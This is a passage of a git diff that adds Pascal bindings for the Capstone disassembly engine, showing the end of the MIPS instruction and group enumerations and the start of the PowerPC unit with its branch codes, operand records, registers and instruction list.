MIPS_INS_DADDU, + MIPS_INS_DAHI, + MIPS_INS_DALIGN, + MIPS_INS_DATI, + MIPS_INS_DAUI, + MIPS_INS_DBITSWAP, + MIPS_INS_DCLO, + MIPS_INS_DCLZ, + MIPS_INS_DDIV, + MIPS_INS_DDIVU, + MIPS_INS_DERET, + MIPS_INS_DEXT, + MIPS_INS_DEXTM, + MIPS_INS_DEXTU, + MIPS_INS_DI, + MIPS_INS_DINS, + MIPS_INS_DINSM, + MIPS_INS_DINSU, + MIPS_INS_DIV, + MIPS_INS_DIVU, + MIPS_INS_DIV_S, + MIPS_INS_DIV_U, + MIPS_INS_DLSA, + MIPS_INS_DMFC0, + MIPS_INS_DMFC1, + MIPS_INS_DMFC2, + MIPS_INS_DMOD, + MIPS_INS_DMODU, + MIPS_INS_DMTC0, + MIPS_INS_DMTC1, + MIPS_INS_DMTC2, + MIPS_INS_DMUH, + MIPS_INS_DMUHU, + MIPS_INS_DMUL, + MIPS_INS_DMULT, + MIPS_INS_DMULTU, + MIPS_INS_DMULU, + MIPS_INS_DOTP_S, + MIPS_INS_DOTP_U, + MIPS_INS_DPADD_S, + MIPS_INS_DPADD_U, + MIPS_INS_DPAQX_SA, + MIPS_INS_DPAQX_S, + MIPS_INS_DPAQ_SA, + MIPS_INS_DPAQ_S, + MIPS_INS_DPAU, + MIPS_INS_DPAX, + MIPS_INS_DPA, + MIPS_INS_DPOP, + MIPS_INS_DPSQX_SA, + MIPS_INS_DPSQX_S, + MIPS_INS_DPSQ_SA, + MIPS_INS_DPSQ_S, + MIPS_INS_DPSUB_S, + MIPS_INS_DPSUB_U, + MIPS_INS_DPSU, + MIPS_INS_DPSX, + MIPS_INS_DPS, + MIPS_INS_DROTR, + MIPS_INS_DROTR32, + MIPS_INS_DROTRV, + MIPS_INS_DSBH, + MIPS_INS_DSHD, + MIPS_INS_DSLL, + MIPS_INS_DSLL32, + MIPS_INS_DSLLV, + MIPS_INS_DSRA, + MIPS_INS_DSRA32, + MIPS_INS_DSRAV, + MIPS_INS_DSRL, + MIPS_INS_DSRL32, + MIPS_INS_DSRLV, + MIPS_INS_DSUB, + MIPS_INS_DSUBU, + MIPS_INS_EHB, + MIPS_INS_EI, + MIPS_INS_ERET, + MIPS_INS_EXT, + MIPS_INS_EXTP, + MIPS_INS_EXTPDP, + MIPS_INS_EXTPDPV, + MIPS_INS_EXTPV, + MIPS_INS_EXTRV_RS, + MIPS_INS_EXTRV_R, + MIPS_INS_EXTRV_S, + MIPS_INS_EXTRV, + MIPS_INS_EXTR_RS, + MIPS_INS_EXTR_R, + MIPS_INS_EXTR_S, + MIPS_INS_EXTR, + MIPS_INS_EXTS, + MIPS_INS_EXTS32, + MIPS_INS_ABS, + MIPS_INS_FADD, + MIPS_INS_FCAF, + MIPS_INS_FCEQ, + MIPS_INS_FCLASS, + MIPS_INS_FCLE, + MIPS_INS_FCLT, + MIPS_INS_FCNE, + MIPS_INS_FCOR, + MIPS_INS_FCUEQ, + MIPS_INS_FCULE, + MIPS_INS_FCULT, + MIPS_INS_FCUNE, + MIPS_INS_FCUN, + MIPS_INS_FDIV, + MIPS_INS_FEXDO, + MIPS_INS_FEXP2, + MIPS_INS_FEXUPL, + MIPS_INS_FEXUPR, + MIPS_INS_FFINT_S, + MIPS_INS_FFINT_U, + MIPS_INS_FFQL, + MIPS_INS_FFQR, + MIPS_INS_FILL, + MIPS_INS_FLOG2, + MIPS_INS_FLOOR, + MIPS_INS_FMADD, + MIPS_INS_FMAX_A, + MIPS_INS_FMAX, + MIPS_INS_FMIN_A, + MIPS_INS_FMIN, + MIPS_INS_MOV, + MIPS_INS_FMSUB, + MIPS_INS_FMUL, + MIPS_INS_MUL, + MIPS_INS_NEG, + MIPS_INS_FRCP, + MIPS_INS_FRINT, + MIPS_INS_FRSQRT, + MIPS_INS_FSAF, + MIPS_INS_FSEQ, + MIPS_INS_FSLE, + MIPS_INS_FSLT, + MIPS_INS_FSNE, + MIPS_INS_FSOR, + MIPS_INS_FSQRT, + MIPS_INS_SQRT, + MIPS_INS_FSUB, + MIPS_INS_SUB, + MIPS_INS_FSUEQ, + MIPS_INS_FSULE, + MIPS_INS_FSULT, + MIPS_INS_FSUNE, + MIPS_INS_FSUN, + MIPS_INS_FTINT_S, + MIPS_INS_FTINT_U, + MIPS_INS_FTQ, + MIPS_INS_FTRUNC_S, + MIPS_INS_FTRUNC_U, + MIPS_INS_HADD_S, + MIPS_INS_HADD_U, + MIPS_INS_HSUB_S, + MIPS_INS_HSUB_U, + MIPS_INS_ILVEV, + MIPS_INS_ILVL, + MIPS_INS_ILVOD, + MIPS_INS_ILVR, + MIPS_INS_INS, + MIPS_INS_INSERT, + MIPS_INS_INSV, + MIPS_INS_INSVE, + MIPS_INS_J, + MIPS_INS_JAL, + MIPS_INS_JALR, + MIPS_INS_JALRS, + MIPS_INS_JALS, + MIPS_INS_JALX, + MIPS_INS_JIALC, + MIPS_INS_JIC, + MIPS_INS_JR, + MIPS_INS_JRADDIUSP, + MIPS_INS_JRC, + MIPS_INS_JALRC, + MIPS_INS_LB, + MIPS_INS_LBUX, + MIPS_INS_LBU, + MIPS_INS_LD, + MIPS_INS_LDC1, + MIPS_INS_LDC2, + MIPS_INS_LDC3, + MIPS_INS_LDI, + MIPS_INS_LDL, + MIPS_INS_LDPC, + MIPS_INS_LDR, + MIPS_INS_LDXC1, + MIPS_INS_LH, + MIPS_INS_LHX, + MIPS_INS_LHU, + MIPS_INS_LL, + MIPS_INS_LLD, + MIPS_INS_LSA, + MIPS_INS_LUXC1, + MIPS_INS_LUI, + MIPS_INS_LW, + MIPS_INS_LWC1, + MIPS_INS_LWC2, + MIPS_INS_LWC3, + MIPS_INS_LWL, + MIPS_INS_LWPC, + MIPS_INS_LWR, + MIPS_INS_LWUPC, + MIPS_INS_LWU, + MIPS_INS_LWX, + MIPS_INS_LWXC1, + MIPS_INS_LI, + MIPS_INS_MADD, + MIPS_INS_MADDF, + MIPS_INS_MADDR_Q, + MIPS_INS_MADDU, + MIPS_INS_MADDV, + MIPS_INS_MADD_Q, + MIPS_INS_MAQ_SA, + MIPS_INS_MAQ_S, + MIPS_INS_MAXA, + MIPS_INS_MAXI_S, + MIPS_INS_MAXI_U, + MIPS_INS_MAX_A, + MIPS_INS_MAX, + MIPS_INS_MAX_S, + MIPS_INS_MAX_U, + MIPS_INS_MFC0, + MIPS_INS_MFC1, + MIPS_INS_MFC2, + MIPS_INS_MFHC1, + MIPS_INS_MFHI, + MIPS_INS_MFLO, + MIPS_INS_MINA, + MIPS_INS_MINI_S, + MIPS_INS_MINI_U, + MIPS_INS_MIN_A, + MIPS_INS_MIN, + MIPS_INS_MIN_S, + MIPS_INS_MIN_U, + MIPS_INS_MOD, + MIPS_INS_MODSUB, + MIPS_INS_MODU, + MIPS_INS_MOD_S, + MIPS_INS_MOD_U, + MIPS_INS_MOVE, + MIPS_INS_MOVF, + MIPS_INS_MOVN, + MIPS_INS_MOVT, + MIPS_INS_MOVZ, + MIPS_INS_MSUB, + MIPS_INS_MSUBF, + MIPS_INS_MSUBR_Q, + MIPS_INS_MSUBU, + MIPS_INS_MSUBV, + MIPS_INS_MSUB_Q, + MIPS_INS_MTC0, + MIPS_INS_MTC1, + MIPS_INS_MTC2, + MIPS_INS_MTHC1, + MIPS_INS_MTHI, + MIPS_INS_MTHLIP, + MIPS_INS_MTLO, + MIPS_INS_MTM0, + MIPS_INS_MTM1, + MIPS_INS_MTM2, + MIPS_INS_MTP0, + MIPS_INS_MTP1, + MIPS_INS_MTP2, + MIPS_INS_MUH, + MIPS_INS_MUHU, + MIPS_INS_MULEQ_S, + MIPS_INS_MULEU_S, + MIPS_INS_MULQ_RS, + MIPS_INS_MULQ_S, + MIPS_INS_MULR_Q, + MIPS_INS_MULSAQ_S, + MIPS_INS_MULSA, + MIPS_INS_MULT, + MIPS_INS_MULTU, + MIPS_INS_MULU, + MIPS_INS_MULV, + MIPS_INS_MUL_Q, + MIPS_INS_MUL_S, + MIPS_INS_NLOC, + MIPS_INS_NLZC, + MIPS_INS_NMADD, + MIPS_INS_NMSUB, + MIPS_INS_NOR, + MIPS_INS_NORI, + MIPS_INS_NOT, + MIPS_INS_OR, + MIPS_INS_ORI, + MIPS_INS_PACKRL, + MIPS_INS_PAUSE, + MIPS_INS_PCKEV, + MIPS_INS_PCKOD, + MIPS_INS_PCNT, + MIPS_INS_PICK, + MIPS_INS_POP, + MIPS_INS_PRECEQU, + MIPS_INS_PRECEQ, + MIPS_INS_PRECEU, + MIPS_INS_PRECRQU_S, + MIPS_INS_PRECRQ, + MIPS_INS_PRECRQ_RS, + MIPS_INS_PRECR, + MIPS_INS_PRECR_SRA, + MIPS_INS_PRECR_SRA_R, + MIPS_INS_PREF, + MIPS_INS_PREPEND, + MIPS_INS_RADDU, + MIPS_INS_RDDSP, + MIPS_INS_RDHWR, + MIPS_INS_REPLV, + MIPS_INS_REPL, + MIPS_INS_RINT, + MIPS_INS_ROTR, + MIPS_INS_ROTRV, + MIPS_INS_ROUND, + MIPS_INS_SAT_S, + MIPS_INS_SAT_U, + MIPS_INS_SB, + MIPS_INS_SC, + MIPS_INS_SCD, + MIPS_INS_SD, + MIPS_INS_SDBBP, + MIPS_INS_SDC1, + MIPS_INS_SDC2, + MIPS_INS_SDC3, + MIPS_INS_SDL, + MIPS_INS_SDR, + MIPS_INS_SDXC1, + MIPS_INS_SEB, + MIPS_INS_SEH, + MIPS_INS_SELEQZ, + MIPS_INS_SELNEZ, + MIPS_INS_SEL, + MIPS_INS_SEQ, + MIPS_INS_SEQI, + MIPS_INS_SH, + MIPS_INS_SHF, + MIPS_INS_SHILO, + MIPS_INS_SHILOV, + MIPS_INS_SHLLV, + MIPS_INS_SHLLV_S, + MIPS_INS_SHLL, + MIPS_INS_SHLL_S, + MIPS_INS_SHRAV, + MIPS_INS_SHRAV_R, + MIPS_INS_SHRA, + MIPS_INS_SHRA_R, + MIPS_INS_SHRLV, + MIPS_INS_SHRL, + MIPS_INS_SLDI, + MIPS_INS_SLD, + MIPS_INS_SLL, + MIPS_INS_SLLI, + MIPS_INS_SLLV, + MIPS_INS_SLT, + MIPS_INS_SLTI, + MIPS_INS_SLTIU, + MIPS_INS_SLTU, + MIPS_INS_SNE, + MIPS_INS_SNEI, + MIPS_INS_SPLATI, + MIPS_INS_SPLAT, + MIPS_INS_SRA, + MIPS_INS_SRAI, + MIPS_INS_SRARI, + MIPS_INS_SRAR, + MIPS_INS_SRAV, + MIPS_INS_SRL, + MIPS_INS_SRLI, + MIPS_INS_SRLRI, + MIPS_INS_SRLR, + MIPS_INS_SRLV, + MIPS_INS_SSNOP, + MIPS_INS_ST, + MIPS_INS_SUBQH, + MIPS_INS_SUBQH_R, + MIPS_INS_SUBQ, + MIPS_INS_SUBQ_S, + MIPS_INS_SUBSUS_U, + MIPS_INS_SUBSUU_S, + MIPS_INS_SUBS_S, + MIPS_INS_SUBS_U, + MIPS_INS_SUBUH, + MIPS_INS_SUBUH_R, + MIPS_INS_SUBU, + MIPS_INS_SUBU_S, + MIPS_INS_SUBVI, + MIPS_INS_SUBV, + MIPS_INS_SUXC1, + MIPS_INS_SW, + MIPS_INS_SWC1, + MIPS_INS_SWC2, + MIPS_INS_SWC3, + MIPS_INS_SWL, + MIPS_INS_SWR, + MIPS_INS_SWXC1, + MIPS_INS_SYNC, + MIPS_INS_SYSCALL, + MIPS_INS_TEQ, + MIPS_INS_TEQI, + MIPS_INS_TGE, + MIPS_INS_TGEI, + MIPS_INS_TGEIU, + MIPS_INS_TGEU, + MIPS_INS_TLBP, + MIPS_INS_TLBR, + MIPS_INS_TLBWI, + MIPS_INS_TLBWR, + MIPS_INS_TLT, + MIPS_INS_TLTI, + MIPS_INS_TLTIU, + MIPS_INS_TLTU, + MIPS_INS_TNE, + MIPS_INS_TNEI, + MIPS_INS_TRUNC, + MIPS_INS_V3MULU, + MIPS_INS_VMM0, + MIPS_INS_VMULU, + MIPS_INS_VSHF, + MIPS_INS_WAIT, + MIPS_INS_WRDSP, + MIPS_INS_WSBH, + MIPS_INS_XOR, + MIPS_INS_XORI, + + //> some alias instructions + MIPS_INS_NOP, + MIPS_INS_NEGU, + + //> special instructions + MIPS_INS_JALR_HB, // jump and link with Hazard Barrier + MIPS_INS_JR_HB, // jump register with Hazard Barrier + + MIPS_INS_ENDING + ); + + //> Group of MIPS instructions + mips_insn_group = ( + MIPS_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + MIPS_GRP_JUMP, // = CS_GRP_JUMP + + //> Architecture-specific groups + MIPS_GRP_BITCOUNT = 128, + MIPS_GRP_DSP, + MIPS_GRP_DSPR2, + MIPS_GRP_FPIDX, + MIPS_GRP_MSA, + MIPS_GRP_MIPS32R2, + MIPS_GRP_MIPS64, + MIPS_GRP_MIPS64R2, + MIPS_GRP_SEINREG, + MIPS_GRP_STDENC, + MIPS_GRP_SWAP, + MIPS_GRP_MICROMIPS, + MIPS_GRP_MIPS16MODE, + MIPS_GRP_FP64BIT, + MIPS_GRP_NONANSFPMATH, + MIPS_GRP_NOTFP64BIT, + MIPS_GRP_NOTINMICROMIPS, + MIPS_GRP_NOTNACL, + MIPS_GRP_NOTMIPS32R6, + MIPS_GRP_NOTMIPS64R6, + MIPS_GRP_CNMIPS, + MIPS_GRP_MIPS32, + MIPS_GRP_MIPS32R6, + MIPS_GRP_MIPS64R6, + MIPS_GRP_MIPS2, + MIPS_GRP_MIPS3, + MIPS_GRP_MIPS3_32, + MIPS_GRP_MIPS3_32R2, + MIPS_GRP_MIPS4_32, + MIPS_GRP_MIPS4_32R2, + MIPS_GRP_MIPS5_32R2, + MIPS_GRP_GP32BIT, + MIPS_GRP_GP64BIT, + + MIPS_GRP_ENDING + ); + +implementation + +end. \ No newline at end of file diff --git a/Core/Capstone/CapstonePpc.pas b/Core/Capstone/CapstonePpc.pas new file mode 100755 index 0000000..44191a3 --- /dev/null +++ b/Core/Capstone/CapstonePpc.pas @@ -0,0 +1,1236 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstonePpc; +{ + ppc.h +} + +interface + +type + //> PPC branch codes for some branch instructions + ppc_bc = ( + PPC_BC_INVALID = 0, + PPC_BC_LT = (0 shl 5) or 12, + PPC_BC_LE = (1 shl 5) or 4, + PPC_BC_EQ = (2 shl 5) or 12, + PPC_BC_GE = (0 shl 5) or 4, + PPC_BC_GT = (1 shl 5) or 12, + PPC_BC_NE = (2 shl 5) or 4, + PPC_BC_UN = (3 shl 5) or 12, + PPC_BC_NU = (3 shl 5) or 4, + + // extra conditions + PPC_BC_SO = (4 shl 5) or 12, // summary overflow + PPC_BC_NS = (4 shl 5) or 4 // not summary overflow + ); + + //> PPC branch hint for some branch instructions + ppc_bh = ( + PPC_BH_INVALID = 0, // no hint + PPC_BH_PLUS, // PLUS hint + PPC_BH_MINUS // MINUS hint + ); + + //> Operand type for instruction's operands + ppc_op_type = ( + PPC_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + PPC_OP_REG, // = CS_OP_REG (Register operand). + PPC_OP_IMM, // = CS_OP_IMM (Immediate operand). + PPC_OP_MEM_, // = CS_OP_MEM (Memory operand). + PPC_OP_CRX_ = 64 // Condition Register field + ); + + // Instruction's operand referring to memory + // This is associated with PPC_OP_MEM operand type above + ppc_op_mem = record + base: Cardinal; + disp: Integer; + end; + + ppc_op_crx = record + scale: Cardinal; + reg: Cardinal; + cond: ppc_bc; + end; + + // Instruction operand + cs_ppc_op = record + _type: ppc_op_type; + case Integer of + 0: (reg: Cardinal); + 1: (imm: Integer); + 2: (mem: ppc_op_mem); + 3: (crx: ppc_op_crx); + end; + + // Instruction structure + cs_ppc = record + bc: ppc_bc; + bh: ppc_bh; + update_cr0: boolean; + op_count: Byte; + operands: array[0..7] of cs_ppc_op; + end; + + //> PPC registers + ppc_reg = ( + PPC_REG_INVALID = 0, + + PPC_REG_CARRY, + PPC_REG_CC, + PPC_REG_CR0, + PPC_REG_CR1, + PPC_REG_CR2, + PPC_REG_CR3, + PPC_REG_CR4, + PPC_REG_CR5, + PPC_REG_CR6, + PPC_REG_CR7, + PPC_REG_CTR, + PPC_REG_F0, + PPC_REG_F1, + PPC_REG_F2, + PPC_REG_F3, + PPC_REG_F4, + PPC_REG_F5, + PPC_REG_F6, + PPC_REG_F7, + PPC_REG_F8, + PPC_REG_F9, + PPC_REG_F10, + PPC_REG_F11, + PPC_REG_F12, + PPC_REG_F13, + PPC_REG_F14, + PPC_REG_F15, + PPC_REG_F16, + PPC_REG_F17, + PPC_REG_F18, + PPC_REG_F19, + PPC_REG_F20, + PPC_REG_F21, + PPC_REG_F22, + PPC_REG_F23, + PPC_REG_F24, + PPC_REG_F25, + PPC_REG_F26, + PPC_REG_F27, + PPC_REG_F28, + PPC_REG_F29, + PPC_REG_F30, + PPC_REG_F31, + PPC_REG_LR, + PPC_REG_R0, + PPC_REG_R1, + PPC_REG_R2, + PPC_REG_R3, + PPC_REG_R4, + PPC_REG_R5, + PPC_REG_R6, + PPC_REG_R7, + PPC_REG_R8, + PPC_REG_R9, + PPC_REG_R10, + PPC_REG_R11, + PPC_REG_R12, + PPC_REG_R13, + PPC_REG_R14, + PPC_REG_R15, + PPC_REG_R16, + PPC_REG_R17, + PPC_REG_R18, + PPC_REG_R19, + PPC_REG_R20, + PPC_REG_R21, + PPC_REG_R22, + PPC_REG_R23, + PPC_REG_R24, + PPC_REG_R25, + PPC_REG_R26, + PPC_REG_R27, + PPC_REG_R28, + PPC_REG_R29, + PPC_REG_R30, + PPC_REG_R31, + PPC_REG_V0, + PPC_REG_V1, + PPC_REG_V2, + PPC_REG_V3, + PPC_REG_V4, + PPC_REG_V5, + PPC_REG_V6, + PPC_REG_V7, + PPC_REG_V8, + PPC_REG_V9, + PPC_REG_V10, + PPC_REG_V11, + PPC_REG_V12, + PPC_REG_V13, + PPC_REG_V14, + PPC_REG_V15, + PPC_REG_V16, + PPC_REG_V17, + PPC_REG_V18, + PPC_REG_V19, + PPC_REG_V20, + PPC_REG_V21, + PPC_REG_V22, + PPC_REG_V23, + PPC_REG_V24, + PPC_REG_V25, + PPC_REG_V26, + PPC_REG_V27, + PPC_REG_V28, + PPC_REG_V29, + PPC_REG_V30, + PPC_REG_V31, + PPC_REG_VRSAVE, + PPC_REG_VS0, + PPC_REG_VS1, + PPC_REG_VS2, + PPC_REG_VS3, + PPC_REG_VS4, + PPC_REG_VS5, + PPC_REG_VS6, + PPC_REG_VS7, + PPC_REG_VS8, + PPC_REG_VS9, + PPC_REG_VS10, + PPC_REG_VS11, + PPC_REG_VS12, + PPC_REG_VS13, + PPC_REG_VS14, + PPC_REG_VS15, + PPC_REG_VS16, + PPC_REG_VS17, + PPC_REG_VS18, + PPC_REG_VS19, + PPC_REG_VS20, + PPC_REG_VS21, + PPC_REG_VS22, + PPC_REG_VS23, + PPC_REG_VS24, + PPC_REG_VS25, + PPC_REG_VS26, + PPC_REG_VS27, + PPC_REG_VS28, + PPC_REG_VS29, + PPC_REG_VS30, + PPC_REG_VS31, + PPC_REG_VS32, + PPC_REG_VS33, + PPC_REG_VS34, + PPC_REG_VS35, + PPC_REG_VS36, + PPC_REG_VS37, + PPC_REG_VS38, + PPC_REG_VS39, + PPC_REG_VS40, + PPC_REG_VS41, + PPC_REG_VS42, + PPC_REG_VS43, + PPC_REG_VS44, + PPC_REG_VS45, + PPC_REG_VS46, + PPC_REG_VS47, + PPC_REG_VS48, + PPC_REG_VS49, + PPC_REG_VS50, + PPC_REG_VS51, + PPC_REG_VS52, + PPC_REG_VS53, + PPC_REG_VS54, + PPC_REG_VS55, + PPC_REG_VS56, + PPC_REG_VS57, + PPC_REG_VS58, + PPC_REG_VS59, + PPC_REG_VS60, + PPC_REG_VS61, + PPC_REG_VS62, + PPC_REG_VS63, + + // extra registers for PPCMapping.c + PPC_REG_RM, + PPC_REG_CTR8, + PPC_REG_LR8, + PPC_REG_CR1EQ, + + PPC_REG_ENDING // <-- mark the end of the list of registers + ); + + //> PPC instruction + ppc_insn = ( + PPC_INS_INVALID = 0, + + PPC_INS_ADD, + PPC_INS_ADDC, + PPC_INS_ADDE, + PPC_INS_ADDI, + PPC_INS_ADDIC, + PPC_INS_ADDIS, + PPC_INS_ADDME, + PPC_INS_ADDZE, + PPC_INS_AND, + PPC_INS_ANDC, + PPC_INS_ANDIS, + PPC_INS_ANDI, + PPC_INS_B, + PPC_INS_BA, + PPC_INS_BC, + PPC_INS_BCCTR, + PPC_INS_BCCTRL, + PPC_INS_BCL, + PPC_INS_BCLR, + PPC_INS_BCLRL, + PPC_INS_BCTR, + PPC_INS_BCTRL, + PPC_INS_BDNZ, + PPC_INS_BDNZA, + PPC_INS_BDNZL, + PPC_INS_BDNZLA, + PPC_INS_BDNZLR, + PPC_INS_BDNZLRL, + PPC_INS_BDZ, + PPC_INS_BDZA, + PPC_INS_BDZL, + PPC_INS_BDZLA, + PPC_INS_BDZLR, + PPC_INS_BDZLRL, + PPC_INS_BL, + PPC_INS_BLA, + PPC_INS_BLR, + PPC_INS_BLRL, + PPC_INS_BRINC, + PPC_INS_CMPD, + PPC_INS_CMPDI, + PPC_INS_CMPLD, + PPC_INS_CMPLDI, + PPC_INS_CMPLW, + PPC_INS_CMPLWI, + PPC_INS_CMPW, + PPC_INS_CMPWI, + PPC_INS_CNTLZD, + PPC_INS_CNTLZW, + PPC_INS_CREQV, + PPC_INS_CRXOR, + PPC_INS_CRAND, + PPC_INS_CRANDC, + PPC_INS_CRNAND, + PPC_INS_CRNOR, + PPC_INS_CROR, + PPC_INS_CRORC, + PPC_INS_DCBA, + PPC_INS_DCBF, + PPC_INS_DCBI, + PPC_INS_DCBST, + PPC_INS_DCBT, + PPC_INS_DCBTST, + PPC_INS_DCBZ, + PPC_INS_DCBZL, + PPC_INS_DCCCI, + PPC_INS_DIVD, + PPC_INS_DIVDU, + PPC_INS_DIVW, + PPC_INS_DIVWU, + PPC_INS_DSS, + PPC_INS_DSSALL, + PPC_INS_DST, + PPC_INS_DSTST, + PPC_INS_DSTSTT, + PPC_INS_DSTT, + PPC_INS_EIEIO, + PPC_INS_EQV, + PPC_INS_EVABS, + PPC_INS_EVADDIW, + PPC_INS_EVADDSMIAAW, + PPC_INS_EVADDSSIAAW, + PPC_INS_EVADDUMIAAW, + PPC_INS_EVADDUSIAAW, + PPC_INS_EVADDW, + PPC_INS_EVAND, + PPC_INS_EVANDC, + PPC_INS_EVCMPEQ, + PPC_INS_EVCMPGTS, + PPC_INS_EVCMPGTU, + PPC_INS_EVCMPLTS, + PPC_INS_EVCMPLTU, + PPC_INS_EVCNTLSW, + PPC_INS_EVCNTLZW, + PPC_INS_EVDIVWS, + PPC_INS_EVDIVWU, + PPC_INS_EVEQV, + PPC_INS_EVEXTSB, + PPC_INS_EVEXTSH, + PPC_INS_EVLDD, + PPC_INS_EVLDDX, + PPC_INS_EVLDH, + PPC_INS_EVLDHX, + PPC_INS_EVLDW, + PPC_INS_EVLDWX, + PPC_INS_EVLHHESPLAT, + PPC_INS_EVLHHESPLATX, + PPC_INS_EVLHHOSSPLAT, + PPC_INS_EVLHHOSSPLATX, + PPC_INS_EVLHHOUSPLAT, + PPC_INS_EVLHHOUSPLATX, + PPC_INS_EVLWHE, + PPC_INS_EVLWHEX, + PPC_INS_EVLWHOS, + PPC_INS_EVLWHOSX, + PPC_INS_EVLWHOU, + PPC_INS_EVLWHOUX, + PPC_INS_EVLWHSPLAT, + PPC_INS_EVLWHSPLATX, + PPC_INS_EVLWWSPLAT, + PPC_INS_EVLWWSPLATX, + PPC_INS_EVMERGEHI, + PPC_INS_EVMERGEHILO, + PPC_INS_EVMERGELO, + PPC_INS_EVMERGELOHI, + PPC_INS_EVMHEGSMFAA, + PPC_INS_EVMHEGSMFAN, + PPC_INS_EVMHEGSMIAA, + PPC_INS_EVMHEGSMIAN, + PPC_INS_EVMHEGUMIAA, + PPC_INS_EVMHEGUMIAN, + PPC_INS_EVMHESMF, + PPC_INS_EVMHESMFA, + PPC_INS_EVMHESMFAAW, + PPC_INS_EVMHESMFANW, + PPC_INS_EVMHESMI, + PPC_INS_EVMHESMIA, + PPC_INS_EVMHESMIAAW, + PPC_INS_EVMHESMIANW, + PPC_INS_EVMHESSF, + PPC_INS_EVMHESSFA, + PPC_INS_EVMHESSFAAW, + PPC_INS_EVMHESSFANW, + PPC_INS_EVMHESSIAAW, + PPC_INS_EVMHESSIANW, + PPC_INS_EVMHEUMI, + PPC_INS_EVMHEUMIA, + PPC_INS_EVMHEUMIAAW, + PPC_INS_EVMHEUMIANW, + PPC_INS_EVMHEUSIAAW, + PPC_INS_EVMHEUSIANW, + PPC_INS_EVMHOGSMFAA, + PPC_INS_EVMHOGSMFAN, + PPC_INS_EVMHOGSMIAA, + PPC_INS_EVMHOGSMIAN, + PPC_INS_EVMHOGUMIAA, + PPC_INS_EVMHOGUMIAN, + PPC_INS_EVMHOSMF, + PPC_INS_EVMHOSMFA, + PPC_INS_EVMHOSMFAAW, + PPC_INS_EVMHOSMFANW, + PPC_INS_EVMHOSMI, + PPC_INS_EVMHOSMIA, + PPC_INS_EVMHOSMIAAW, + PPC_INS_EVMHOSMIANW, + PPC_INS_EVMHOSSF, + PPC_INS_EVMHOSSFA, + PPC_INS_EVMHOSSFAAW, + PPC_INS_EVMHOSSFANW, + PPC_INS_EVMHOSSIAAW, + PPC_INS_EVMHOSSIANW, + PPC_INS_EVMHOUMI, + PPC_INS_EVMHOUMIA, + PPC_INS_EVMHOUMIAAW, + PPC_INS_EVMHOUMIANW, + PPC_INS_EVMHOUSIAAW, + PPC_INS_EVMHOUSIANW, + PPC_INS_EVMRA, + PPC_INS_EVMWHSMF, + PPC_INS_EVMWHSMFA, + PPC_INS_EVMWHSMI, + PPC_INS_EVMWHSMIA, + PPC_INS_EVMWHSSF, + PPC_INS_EVMWHSSFA, + PPC_INS_EVMWHUMI, + PPC_INS_EVMWHUMIA, + PPC_INS_EVMWLSMIAAW, + PPC_INS_EVMWLSMIANW, + PPC_INS_EVMWLSSIAAW, + PPC_INS_EVMWLSSIANW, + PPC_INS_EVMWLUMI, + PPC_INS_EVMWLUMIA, + PPC_INS_EVMWLUMIAAW, + PPC_INS_EVMWLUMIANW, + PPC_INS_EVMWLUSIAAW, + PPC_INS_EVMWLUSIANW, + PPC_INS_EVMWSMF, + PPC_INS_EVMWSMFA, + PPC_INS_EVMWSMFAA, + PPC_INS_EVMWSMFAN, + PPC_INS_EVMWSMI, + PPC_INS_EVMWSMIA, + PPC_INS_EVMWSMIAA, + PPC_INS_EVMWSMIAN, + PPC_INS_EVMWSSF, + PPC_INS_EVMWSSFA, + PPC_INS_EVMWSSFAA, + PPC_INS_EVMWSSFAN, + PPC_INS_EVMWUMI, + PPC_INS_EVMWUMIA, + PPC_INS_EVMWUMIAA, + PPC_INS_EVMWUMIAN, + PPC_INS_EVNAND, + PPC_INS_EVNEG, + PPC_INS_EVNOR, + PPC_INS_EVOR, + PPC_INS_EVORC, + PPC_INS_EVRLW, + PPC_INS_EVRLWI, + PPC_INS_EVRNDW, + PPC_INS_EVSLW, + PPC_INS_EVSLWI, + PPC_INS_EVSPLATFI, + PPC_INS_EVSPLATI, + PPC_INS_EVSRWIS, + PPC_INS_EVSRWIU, + PPC_INS_EVSRWS, + PPC_INS_EVSRWU, + PPC_INS_EVSTDD, + PPC_INS_EVSTDDX, + PPC_INS_EVSTDH, + PPC_INS_EVSTDHX, + PPC_INS_EVSTDW, + PPC_INS_EVSTDWX, + PPC_INS_EVSTWHE, + PPC_INS_EVSTWHEX, + PPC_INS_EVSTWHO, + PPC_INS_EVSTWHOX, + PPC_INS_EVSTWWE, + PPC_INS_EVSTWWEX, + PPC_INS_EVSTWWO, + PPC_INS_EVSTWWOX, + PPC_INS_EVSUBFSMIAAW, + PPC_INS_EVSUBFSSIAAW, + PPC_INS_EVSUBFUMIAAW, + PPC_INS_EVSUBFUSIAAW, + PPC_INS_EVSUBFW, + PPC_INS_EVSUBIFW, + PPC_INS_EVXOR, + PPC_INS_EXTSB, + PPC_INS_EXTSH, + PPC_INS_EXTSW, + PPC_INS_FABS, + PPC_INS_FADD, + PPC_INS_FADDS, + PPC_INS_FCFID, + PPC_INS_FCFIDS, + PPC_INS_FCFIDU, + PPC_INS_FCFIDUS, + PPC_INS_FCMPU, + PPC_INS_FCPSGN, + PPC_INS_FCTID, + PPC_INS_FCTIDUZ, + PPC_INS_FCTIDZ, + PPC_INS_FCTIW, + PPC_INS_FCTIWUZ, + PPC_INS_FCTIWZ, + PPC_INS_FDIV, + PPC_INS_FDIVS, + PPC_INS_FMADD, + PPC_INS_FMADDS, + PPC_INS_FMR, + PPC_INS_FMSUB, + PPC_INS_FMSUBS, + PPC_INS_FMUL, + PPC_INS_FMULS, + PPC_INS_FNABS, + PPC_INS_FNEG, + PPC_INS_FNMADD, + PPC_INS_FNMADDS, + PPC_INS_FNMSUB, + PPC_INS_FNMSUBS, + PPC_INS_FRE, + PPC_INS_FRES, + PPC_INS_FRIM, + PPC_INS_FRIN, + PPC_INS_FRIP, + PPC_INS_FRIZ, + PPC_INS_FRSP, + PPC_INS_FRSQRTE, + PPC_INS_FRSQRTES, + PPC_INS_FSEL, + PPC_INS_FSQRT, + PPC_INS_FSQRTS, + PPC_INS_FSUB, + PPC_INS_FSUBS, + PPC_INS_ICBI, + PPC_INS_ICCCI, + PPC_INS_ISEL, + PPC_INS_ISYNC, + PPC_INS_LA, + PPC_INS_LBZ, + PPC_INS_LBZU, + 